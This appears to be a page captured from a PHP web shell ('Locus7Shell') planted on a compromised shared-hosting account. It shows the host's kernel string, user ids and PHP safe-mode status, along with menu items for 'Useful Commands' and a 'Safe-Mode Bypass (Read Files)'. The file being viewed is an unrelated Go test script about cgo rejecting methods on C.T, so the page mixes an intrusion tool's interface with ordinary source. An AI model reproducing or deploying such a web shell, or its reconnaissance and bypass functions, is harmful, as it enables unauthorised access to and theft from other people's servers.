![]() | |
---|---|
Software: Apache. PHP/5.4.45 uname -a: Linux webm056.cluster010.gra.hosting.ovh.net 5.15.167-ovh-vps-grsec-zfs-classid #1 SMP Tue uid=243112(mycochar) gid=100(users) groups=100(users) Safe-mode: OFF (not secure) /home/mycochar/www/image/photo/go/src/cmd/go/testdata/script/ drwxr-xr-x |
Viewing file: Select action/file-type: [short] skip [!cgo] skip # Test that cgo rejects attempts to declare methods # on the types C.T or *C.T; see issue #57926. ! go build stderr 'cannot define new methods on non-local type C.T' stderr 'cannot define new methods on non-local type \*C.T' ! stderr 'Alias' -- go.mod -- module example.com go 1.12 -- a.go -- package a /* typedef int T; */ import "C" func (C.T) f() {} func (recv *C.T) g() {} // The check is more education than enforcement, // and is easily defeated using a type alias. type Alias = C.T func (Alias) h() {} func (*Alias) i() {} |
Useful Commands
|
Php Safe-Mode Bypass (Read Files)
|
--[ x2300 Locus7Shell v. 1.0a beta Modded by #!physx^ | www.LOCUS7S.com | Generation time: 0.0056 ]-- |